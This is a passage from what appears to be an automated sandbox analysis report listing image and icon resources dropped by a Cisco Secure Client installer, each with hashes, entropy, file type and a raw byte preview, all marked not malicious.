MD5:	D1F876BC1C789A4108570185251B864E
SHA1:	9F91D3B837191A9499CD2959EC1802CF444D78AE
SHA-256:	DF137D0086B1A5DC1A0508643AB8DBE66A0A268A2A5E7A539EDF39F6957AF1AB
SHA-512:	4E1D5AE2D6539B38EDEFEC017B41DD50D7EA41AEF9B6783538D8D19D9C14E2D9411D2DF86AC672BD6B171A507F77EF2D4976003206DC4624687BA4588BAA6688
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx....U..G!o.<.........Mi@...t+iV@[H.X..-MZ...6E.lZ...X.>%jW..&..]-P.JV.<..Z...Rt..@M.mM7...9sg..;s.{....s.3....o~.H...w.......-...-.<.......4.5.y..d'....7......b..{.....]7..?u......}5y...M.k...`..U.w.............>.}...h..s.... ....Gu!....[tc ;....F...v...k.{.x.'U..;..-..'...B.Y....I...R..0Zw...`u.C...\|].....m...y...V.I..?.L.;.8.....Ez&\h.'y.........;...-...G.y/9....}...S.@..+._....a.9WZ...._W+-.B.>.m..:....o..\...<Mu`.a.........o..w.]@=/_\|9Y..~....b...>.dk..4VY...5...v+r"...qw....sm..&.]."y.x..I...kt!fw..Xx.....\.,}.=.gH..AgA..xV.\t..".0.(...8a\.QJ..k..Hu..........E..l/...4=x.54l..$j.k3M.../.l\|r.=...K.Rt.Z..........N....v...z..S...1^..u...P..j.BF.W...iH.....n).....=.s8...!bx.N<.\]....,.6..`..b~8...[..X..o..R.X.`!BiZ.0...t.im..o....n...s...\|W..<....K.by..o..l......{.KMe.....g.n5..b+w.B.Ilo...M?.V:X...!..&.KJ...?...Lj......._.~...l.}...=..HO.@?!d_.O.Vy.....QI=..b4...8t

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_ws_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4117
Entropy (8bit):	7.943813748161345
Encrypted:	false
SSDEEP:	96:79m160UrZetyDZrcRzRB+6nB49EkDPzkWb9PhkqjhqBx1DNo:79G6xr6yVrkzRB+UkEWb9pji1DNo
MD5:	04127248AAA5B7D32DC2DE4F02DA025F
SHA1:	6509E437F6503A9975953B955054D29ACE439D5F
SHA-256:	946B8C23BF05558B52D273502A65731A5E412C9E02A544748C5E5C27A3ED6D0D
SHA-512:	F26907895DAAEEE025FB20BCD22803F1151A5D5037B85FF1DCD71DA98E78C417996C08759F646D8E463FB6DD43A36F10092746D6520F9C70BE4AC03AF3B5F48A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..Z.l..u~s........)..(.,KQd.Ih...D5.q..(..@."6..E[.P...r.F..5..H..@Z'h....(:...P4.S..]..=..{..R.D.....@.;...w\|.{..............@.DW.8........`.@/.!.N....o..r..D.\..]..? .";U_U...R../q.b.e.e..%-S..J..._1.....0...P(.....!........U.......kg.6...-....^.m...8.....E..3E.r}...._..fg&..............f1.....B.u\.g....zz.w...NWoc.... ...m.....9Z.'.....l..a.L..?.KX?>?V.:84X.../..7...._....#..zT.~.{wu..B......VI.l...e..F^.l...Hy...1..4...[.p......S....j./.t.0..c..O..Z6wGiw'..h........8..`w.g.5.Q..&.Gxd...@3,..z...8.T...,..VAP$(.tm... .. ..........\.`.Q.hQ.I\v.].....N..............}...@...%...........x.x.DU.e$..m.5%..(.A".X.d@r...d.l....:.B..Q..U.H.5....X...k.'...p.>.ZCWo..{...j.2...[....Fg...0.\T...4d.'....%H.....@.k-...4!.+..B..Obr.=948..BgK5?..;Sv`.....)\d........u..}.pw..G.s.TV..R.<.7S......0}.......h.9...NG... W4..<*.!..>.U....;c.>..Z.sR..<w......I.....G:.>..#"...%...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_ws_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4267
Entropy (8bit):	7.94257084168463
Encrypted:	false
SSDEEP:	96:IqGbLvTlphRGJSqAeFg590km/kqzrxsoCeaV6XjNfUmhPRD3el9:ILhKFZa0PCPiNfU2RCL
MD5:	7014A8C17D7E8E5A2BEDB4C4E0C12E80
SHA1:	28881EE38814E155FA7B1E0096801A644CAB6548
SHA-256:	BD9514FA182DE90450B6E6E3EEDB2E084CD1390D5B6FDF0509B81EC36B963147
SHA-512:	B2B94E806A4F1F8BACAA2870944C75952A9C9F0577AF6571BFF65038DCD242AF5B887E400430E8E8B0B8E8BD2BA7A7318247581304C668662A7A6A255F142A12
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...MIDATx..Zyl..u.s......x..$J.i).l.......6..8.k.h`....(Z.UZ.Q.-....4n...l...6r.@r.#J.K.M..O.7w.......{..R.E.....@.vvw...{..~..~....u7.).......Np..r..K.(f..%!.LB1k....p.......E..l.........x.."{$.Wl..hY.lAO.R..B>d....c...D?................=...[....N....;.\|..d.T.&..q..."....I...pi8...?...6...s.R.....z.......U5.pM{.j..C..k..wW.....W.e..X.....9"...Q.@.y.G.,.x<....Y...]....\.wn.........YsI..+.....m.?.o..^...`@:]...w#.sv....x....@..0As....!...j.^.q.~..G..z~x....q.....J..a......6=td.=.M..Z.k..,.#......i.......xP......S.A. o.y.`A.C.i%..5~......_.Y.?/.%.=z..dr...N..X.lz.....\|......x.s6.d.". ........l....@Te.C.)..E..@..%.$..e.&..r..g...9.]k}.t..R...%..6..{............G^.o....F.!.F..Ar*`.<....L...&......S..y\|..,$.Yp......A.X.t..N..q.....d.p0.A[S....m...2.g..nr...U...../.vu.........Z".Cl6.....Dt...s2.....l.`.(Z.x.2h...3.f....M.<.F.H)......q.H..p...n.M.......T..._..v?..5(x....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_ws_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4052
Entropy (8bit):	7.943954771539964
Encrypted:	false
SSDEEP:	96:YVzyamWl9ZWA1xj7kdJwie8o1NqPw1AT2Z1OHXe:q5t9ZWmlsy9qPw1AT2Z2e
MD5:	0356D0A27BC2E9B55F5603D0373CED4C
SHA1:	7572FB4DC3B1CEF66F38F68A29093D3FBE706A5E
SHA-256:	E5427AAA99BFC3CC3886351EC9B7C4C524799CF4A0DE0E0CF6D8DE3C0DFB8743
SHA-512:	6BB3E1168712BCAE7F5B67F92A60B58B74162A01225AE264B0A72CDC2CE0C3943A7E9AE47406AFBAE44C25870A877C5EE83142C40EE4BFA6C57DEC495B1C53BE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...vIDATx..Y.o\.u?w.3sg..E..H..D-..YV.8n. J..H.......>...C...@..M..o...H..)...]4F....%...Lq.9.>w..\|3#.L...h...K....9..;.\|C...%}..)a...8..8IJ.H.;o.6.W'.Y.F.L^...a@(....K.)53....3...P,.2.=.I...6....]iV.v....r.....~yk..ej6..]...._8M..R.g.......f.[.......e,.,..i.I.D-.j..J.n....r...U.\[./....U6.$o^..ZE..7@J..I....5>.[g.:..gfBs.qy0....A..........HU%RdY..t=.,6....../5..;.\.....+/x..O...h'...1...8w~..o^=......v.Vk....wc.KA.:..."....D....)..R.e......}..{..w^.....Kd..}.]?7..lJ....O<..o^..../_>.d-.<.i....`{>.O>.w`./.dF.Rt...I..Q..{[0..J..h....T....RB...;.........]o...H...s.._.......L./O.P.....WT.P.A.....@..%RM....6@{....R5....5....M.....~....I...1s.K}.$..H.}./o.=...:..th...9=w.....(.R'-l......Lx. ..iP.iCu:.`.....\nP8.".......VoS8bR.......:..-....7..L).......M.j.rlv.......~..A9..ux.T.)_.S$.....6..<g..{..7..0...+...&h.f..%..\x^.h....1....(.....u):.S.N....Z....i....?.L_..+..%...]x..o...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 375 x 23, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	700
Entropy (8bit):	6.305816801627044
Encrypted:	false
SSDEEP:	12:6v/7B0J+UJbp92cDPuY1qHlnv/pebLaeb9Lf43DQ6TjpuIXG13DQ6i5t2c:0erLYWuqylnv/pe3aO9KDUIXO3D+/
MD5:	894AB8F4298F2238292E31BAB5CCAB10
SHA1:	FCFC29B4E5BAC3C59EDA1F8837087E768F7B0A7B
SHA-256:	7C8B5EC8C7DE5405AAEE5B1E92C605020424AED8AF830C2429ED47883561A39D
SHA-512:	B7F06E961C2C2BAC0EFC5633E213D90E3206093593988BD04CE84DA13B1D1B4F0B83DEB77FF247E6681A645004FD37C2866FF83EB7A6A5E3E581B0868AB58C3E
Malicious:	false
Preview:	.PNG........IHDR...w..........C......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>.L.'Y....IDATx...... ..A.............. @.@J...C...._..+.......=.T... `.u....A...\|.H...0.:@.....q.>U$....w. @.@P....*........ @ (`.O......]... ..0....D.............SE"@..q........{.". @..........=.T... `.u....A...\|.H...0.:@............X~....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	7.848629133083243
Encrypted:	false
SSDEEP:	48:gySVFiuSZgKTkBsSS/Z89Vn1MM1DCINukyd5Wb:gySBSZCqBhen1MM1CINgsb
MD5:	85D427479A5F8E6F69DEB0A5EC7E6DBF
SHA1:	95414451D6AE9B130831A1C297151F65AD849A6C
SHA-256:	CF8B60054D290DFA6BA59086BF18F5ED0718C721B4ADD200AC95275E5457AB58
SHA-512:	58248F232F27441ACB81B0A6AF2272D19EE1710101C3675CCAEA4BA3CE8A74D664053C58EF2D9C948F2ABCCA4F30B5ACF633A2EA53C8E260BB40FA6F1214151C
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]+s#G..K..N0P..Nf)..0... ..v......l...P.{(.2R.Yf...,a.U.d....3.....g.,..~N..$$$$$$$$$$$$$$$$$H..^.b6h.@W}.?.V?oc..O.....x^_...lR.A.......=[,.zX}..S.^..y...8!.@..4...i.5..l...sEHl..p........D.HA2..K.)....:...l.Ud.k.........:........p..Re.J...U.Y..9(.>...%....a..e..V........D.:J.eL..GJ6.P.....3B.kG...wgCP).?.5qH....85\|.tel.q..W..=..[.u.....w.3r..k.....RR.B....$....].}../.@.71.s0b.bNH4=m.l.^I..`.".. 2...X...^......U..s.!d........~..;..J.f..,)..T..V3+.g%.T.G.b..K.r..=.GF...GT5.s..N.l..:.$..,!.T.......r$>.H..1...Q..}.~&..z.:.iF.}@b..mP.....!B...e..R...A(....U.#..o5&a.43..."]".._..m.......7.G..w.5q&..V.............,.+)\.;.0zw.Th....;.!..^J..-...:L.L.iM..g..Zgq.N8.qhYd.?.7...=t.iL[..B........yi..L...q8w..>..x..p.O..VY.u.s....%A.....`....n..L.f...6_."..R.D...8..^...>.N.J.1.;.T....-...}~.M..J.:...B..{m.L.m...>.J;.\T.=).xQ..u{...f........!.)y]lck..W^.v.T.ms...%^..,.b..]ZZ...u.^...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_help_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	478
Entropy (8bit):	7.3703130572324955
Encrypted:	false
SSDEEP:	12:6v/7xE0NSVUvFAccOOfACD09VvVupRqR5/MXMmxHlWX:YY+vFr+cvV8w3MXMm+
MD5:	D3BD002D9E657FC264347FE2FE45EE8D
SHA1:	8EC6528F2E8A07036C5D5F439FA0438C99CE814E
SHA-256:	B17D8F8BC1B971962A798743630816DFEF50526A2692BB458A7B1B6A546D28B0
SHA-512:	3BF535A63BCE729ABD443CA4265147DB46DFF698BC2AA27C7FFE430527F7C4FD921AFFBD6E789BC00EAC4DFFE300E82488A8C4886DC9D629DCA6B5CF905C0624
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH..U.m.@.}E. #d.n.. ..a....2@.6.p. a..AG...}..A.U..% ..g.g........u..%.w....'(.............%..{...S..p.gc.\|...Y......\|`I.\aZ..5..d@..>'.z.7.)....b...P.'...y..4.l...+........I!{......w.eFV...d...H....xZT.c.F.=...f/.Q...".......BF7.a......)....\|`..m.o..=.f.........%.d.._.........z!..&,6.;KwN@Z.<~1..%...b....L....<...k8.c.'.....+.&.dE...o..7.....ke..M..Ot..N..^..n.~............IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_help_hover.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2245
Entropy (8bit):	7.881067272381913
Encrypted:	false
SSDEEP:	48:RTfEfdH62oMLD03CqIngSp9wZM/vgRzmD0XQ8/CvbJkfG2:RwfYHt6qKmzmD0g8/Cv9kfG2
MD5:	FC4A9201524066297A4C6DD0760D646C
SHA1:	7B6B7710A1B9EEDAC515FEEE90728A405AC07937
SHA-256:	B19294D4FF3378820B91BF8D2DBC53CB9C8BB531A5CA7E0F4C728AC757C0CD29
SHA-512:	2597C04C2740000747731CB3FF55E7C15675D86578CD0FC73A8F04D84CD084142BF0BFAE55DD81B6AFA1CDE2585EEF233B9BBAB1C05655B3099FA1BBFAECD3DD
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...wIDATx..].R#9..w../..2.c.+..'....O.s..X...y......oD.s....g........nukZ.xo..,..f>...[..0`.......0.....y.bvh.9q.w.k....}_.cj.....1f....e...._R..}...1g...W.X.,9_L9/.>D..E..qi.3..&....h..C.....)....3.RI.aU.%...U.qd$..Yu..#CK5i..s...<..3K.u...F.r.R....V.c........>..3)j..>uhC.4....v.J.jm..c.L9.......8..WA.....x....j....3..:....>.c...95.\|.eL.qI...V0+..'.l\|.........0.. .)..V...z;..M";q.c....bv.T.K.....Fr...];bT%[...!.#..a.5..P..]Rx.X....Q.>1.F..=Rx.,L9.........ck,1G...'....#d...X@....w...'g.:.;)..S..vo..A...#..yo..M}A..+!.Q....h'....$<y..N...\|..n..!.R......_.Y...1.C'G8)~.D.....H..-Pu......6N.>..0R.j....qP...../.9.]r..........."...<Cv.3r.(.W(.B$......N.....{I.R..Fok.b.-Pq_.$`q...A.KLu......8.....x..=.?...).t....PyD.0.m.........n.`/......zd^....I%...4.^.4C..!/w......l.HZ..l...T.>...KgH.5...}..+.6F.i.....4.6%.....A;8`6q...Z].av....]']v.....W........L.W.R.MK..?%^R..RcL.3._#...G...1.{..0F %.h3....k.B.>r

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_help_hover_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.547901309478316
Encrypted:	false
SSDEEP:	12:6v/7CWdT8JNBxFtHpTJKAghnooED91TFxff+Tye5N3Q2+ah7:KT8rBztJYnCjT3+TN5N1B7
MD5:	5D99349B36EE267BD85E3A4E4C8B9D09
SHA1:	AF5F88451BA51F5FBAE5D3D603655138EE78D27F
SHA-256:	84EF9A5D991E3B3E68AD6F7B8F2D9F279769DC9D27BBB205C3AB9B2BC1607ACA
SHA-512:	58C4E4CDD9B7D5C660A40467F504137D1779222AF24DAFFABB495DBD476A65940E93EF7E8EE7F9BF69A4C4F560D6BA5FB4EEC4DE81C77E4383A24D7B0110DA85
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...R.1....y...U....kx..p.9..>@....' (d..=\..p..$....z...;s.In.}../..m.+..4..7.~...@e]...Wx.....~G.2.x+.6J.<&^..).Y.S....Tv.<....,.+..`....G>..Q!".5.h.l.}.I<...S....t..>%r.0w{.1.mE .@.K.6.-........./L'S.7.\|.j..]Z.w..<.'.Kk...`..0N..L..7_.(...C........8,.9. \.T.......K...\..0..L....:...!..}.$.(QQ.....T...../.)dzT..5..iu.......N./.....r.>}.&h%...x....o..6W...B.(...z.a...0w.....BYf.%.{.$.y.NUt.@....F.T....ge.:v.m..t..xp....d......o.>.....0....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_prefs.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.836409910643584
Encrypted:	false
SSDEEP:	24:MSsuOJ3aklIveNn3uRjOIi4d6R2LA+KdrIF0Nl3BqL7goSlO2Ywdq8XLxTGO:MD35lIvmnsT8gA+GsFvkoSVdxl
MD5:	2A93A2F714FAB48B6CD5BDF1533EEFE2
SHA1:	727D59B41389E63AD6149117E83035CE8DECD59D
SHA-256:	7982204EE803716D70B99C224A4A1F3AA10CA0AC012CF33802A3E305B72AB8AF
SHA-512:	B4F04174C5B0691F65C4304B5EFC23C5533FF72092F15C03EDBBFBA103158C79FD0F890A7509EF84D85CD662AA849525FDAE1BE9D91016214BF5B1262EA735B3
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...XIDATx..=R.X..{w.l8..8#..-...f.'.9...lhs.)...N`q...!...=.I7.zz-F.H..7._.U.3#.^.[..Z..(..(..(..(..l).e}YE9.....U.[qy..W)Ei....GP-A...=G......b....R\..R.h..}.]W.>T...Pt.j).Vp.,.....y1c.......jx...W(Zr....xv.\|9..%....$g5.Z.'$.r .......7r..b.y.P.....1.(.)V..P-.Q.._)k..1.t.._....W.R.o...O.d.n................Cl....r.E...m..P...6..,.[!],.m...]..Y-v..6.j.p\c.g.2u...-Bs......k{........^V....e.F...N.u..=.Hw..1..&.....y^..i].E.B ..{.}.....n0w......1.ES..m....p.....R.Q._......gF.Gp.#..v..<~.;t.Xr.nx.bs.K.s.c..<.j#Qf.6k....x..{.....}.?;uS..{.y...y....<..9Q.c"..I;....;^N...n% .O....<.V..;......G..+E....h-....M.T-....."V..G[...S..~r...-.L"f%0@.1.Zx....0 .]d1+.Az.~.b...d.......b....Z.......k.YZ.m.q....WX....0..G.T......]....s,.obV7..D.7h.2r..g..(<J....+..(V...y[.!f..Z..>..".I..t....ab.v....M9...)..U.h..M#.....JA/.VP.>......wB.......^1.....d..R..9Orm-.....R.C..%..(...d...J9#6...{TpXJp....j

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_prefs_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	7.261808950496785
Encrypted:	false
SSDEEP:	12:6v/7ye/67M2KK09AtPNFPQM7vcvei4A62GCv+OQRWqxEz:de/YM2KYBTcKA62VWvE
MD5:	E49813F0A990FD98318710C0F0BFDA21
SHA1:	FD09D47A8BA649393221D5048D3BFF1FFADD3496
SHA-256:	79C957FB0133496B0266E8F5441982D3F1DAB781B90FBC34F59D75968577CD61
SHA-512:	8883387871CBE8B3778F5D95A95700D99B7D4737696051436C06060C645F83E25255A76AA73CD5BA1B03FC5797D8F6B99D1B0E489B5421D26D4E7DBFD358EA65
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....SIDATH..U.Q.0.}e.. ...............N@..3I.A.!.../.......r......SXTW.t..3.n..g.....!/k.t..{....=.^.+E.U..KD.@..@..)..sV...7u..[!_+..F.......#.......?$....3.t....;8.D...N.pv.H...Q\r.....T.t..t..F......~....1a3g......Y..L.#.F%..-.(.o...bl.}..=...T.d2.[.x".m..b.V*./........T...(..+.>[F5....7..j..2:....-;.....P.w\|j..d.s.........&.cO........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_prefs_hover.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1856
Entropy (8bit):	7.845521158056495
Encrypted:	false
SSDEEP:	48:M5K2A2T3d0z5uOpdNSaQfbDS3YsPWaU3SjmUjm42rh:Mg2A9z5Fp1W3otPW5p
MD5:	AFAF04A11862845AFC31D64F7762D28E
SHA1:	C5E99C3DC321086738CB7BCF13EFF55EBDF1D3CF
SHA-256:	6797601AA69F2B489ADAB85A6DA73E78D4E041D24598BC726A3E837D2BE2D75E
SHA-512:	3D463D3EA19E87E8B592974BF4B69F4F6F5DE08975BB04AB0C180AE7CC49C9866E7B40F2D5890E50E7BF0FE2F8830125335FECB7C4FED8F2AF6045F8E66E18B4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..r.F...I.t..X...&T..P.JT....d.)0..@.....I.T...~..L.9...".....s.7..{D..\|..?w.D".H$..D"......$...h..{...#..C..6dDt...0..]..6.v.<.,.....8E.k...$.h..j)..s...C.XE.r]5\..E\|..].bDY.....Rl...\X..p]WMt.,..Q..O...Oe...........\..b...1.\|BY.f.r.d.5.]..#e..h.u]5.y%...DtGD....q_Z.m.Vi.+......5....{G.^~'..-.8..Xx...xK.-...[.a...2_wa...%....E..!...m1XKi.d...r...o.v.>.SIeq..)m....AH.....^.F.?.....w...?.s.G.......^r...G.(.viDh.X....O.>..+..5@....9....+..]W......m.emb!...../....W..WS?8d.E.<.Q...S...!.!#.R.u5........4..Qn.F.G[.PYQY@...D........\|..,..am....h..k..e"0'....IQJ..@N..7...&^.Y.S..........Q[o..../\|j":.xnb._q...{^c'..Lz..!(.t..t..k.X...n..+................xLkzz....W..RVr.....Q.wy.T.........]... $n)d..#..........%..}.Hx..q..,T7..F..v....=7p..$(....].S.....D......=...m.B.......ML ..%...X...U.*...e..H..EM.?......].....D...o.).M...W.P.h......=..#..4...Z..0Yn.E..?...K ;K.$..n..Zq-A..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toolbar_prefs_hover_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	472
Entropy (8bit):	7.339402871750466
Encrypted:	false
SSDEEP:	12:6v/7IEzFffWxjBiqsoNKXcQjmUVQtaaHI:hI0RBiqJycQjmU6t9HI
MD5:	AE59E69F9BB8D40D28E2C195A5F131BD
SHA1:	1AC9ED0DD66CEFA5F515A8C0D51A3E26B7F2F6A9
SHA-256:	271F2C4002F0127CD049A9BEEED8474FACED3217E7BB0C6DDEB8B34F8536FA8E
SHA-512:	D69C0C2F7C190D1795A5C6455949C0B7F63D678785C170D8DB4A7D3FF88A048D954C8236E750D2F38CAD6CED9072DA7E8E3B5B384465074637D43390D9857C26
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...Q.@...:..;......C.2)@,..:.........(.9.........0....v.~.?.....j.....g.>n...z...u..NLU...;..2.s`.\|.$...4],....Y............H.......G~.`$.p..^!]dS.UT.jE.%.......T...Y..O.....S...(.O.\.}..E{..2.p...s.._..,.D.wP.....DK.v...el..\|..w.~.....{`))v.. .6^..y..rm:R}.L...+..<."..r...y#D9rD.Sd.Y..D_.o~......\.....$&;.1.6.<%...v.-.v3.^-M$ejU.4?%.K4..Y.R..Sm..'.AW..E....>".....^=.Y.......j.d.h.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\transition_1.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.5904244181066343
Encrypted:	false
SSDEEP:	96:qp/EF2cJeBcktRYgD9qsSyGrnPblkbGgmo:YccB8lPbGHB
MD5:	A1C46D32AA7BCD14A8DB10005E23B885
SHA1:	8859CD29B7D6A9D645C3B09D8AFAB041D3BB7A37
SHA-256:	66DAAB72327F0E98FC3006DA7B0F957901285993388BDE25D6149464A98C9442
SHA-512:	16CC5F81EC30BC027D6C3268383463968DD9E2C0A0A3BBDA8059BF8DC6A99853ED27CD1E1BD955ACF2F98B5B0693D5A2AEDCC69261F2E06B065ED11684179AD9
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ..........................@...@...@...@...@...@...@...@...@...@...@...@...@...@.........................p...0.............................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................p.....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'..M'..M'..M'..nP:...w................`.............................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..z]J.z]J.X5..M'..M'..M'..M'..z]J......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................nP:.M'..M'..M'...................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................M'..M'..M'..M'...xh..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................cB+.M'..z]J.M'..M'...xh......................@...s...s...s...s...s...s

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\transition_2.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.612237043911612
Encrypted:	false
SSDEEP:	96:SPEyydQzC5enoYfFMdIDhjdmrEEN4kbGg2o:SFS5eno4FMyADNHx
MD5:	CAE552335F760EE1FF87D686F972BEB8
SHA1:	676A5070DDD6218C274FE01608754D06E735558A
SHA-256:	615057C1B8C472DDF3D6B48284DB764F3F4FE8A159FD479B96C401D0BEE82674
SHA-512:	876B7077A8DF9C900BCF1CF8D5AF98A3B84A7D31412DEE05CAF76ACA215B771EFD5CD5E8225175E822BCE24239A57F841D1DDF633B3C68599D0C401AA98BBDF9
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ..............................................................@...@...@...@...@...@...@...@...@...@...@...@...@...@...........................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................................................P.....@...s...s...s...s...s...s...s...s...s...s...s...s...@.........P.................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................................................................X5...@...s...s...s...s...s...s...s...s...s...s...s...s...@..X5...........................................................xh.M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'...xh..............................................xh.M'..M'.......@...s...s...s...s...s...s...s...s...s...s...s...s...@..z]J.M'..M'...xh................................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\transition_3.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4144936482461397
Encrypted:	false
SSDEEP:	48:xLEWi6fEolR+vy+f7I8QbmvTn+3vCpK+hxZBBBpkbGgo2uo:xLV7EolbUISLn+3UBZBBBpkbGg6o
MD5:	68A2EA89135A31CE9E3E598F981433E0
SHA1:	1E2DABDFE730EAFD9A21F09C0E8E7F84E159E115
SHA-256:	73A199B9058AE8665DE3AD7792A7EE5DF7ADD2A4F2D8EFF49D81F221E8AFF85E
SHA-512:	CBCF48A63EA4CDC853950D2240B216EC8037E5CF0DFA9DA590C9F3749D5090406CA00CFCC5F844A7024ADD80B113F49F2F7D7F3D739F813360DA47720418DAC2
Malicious:	false
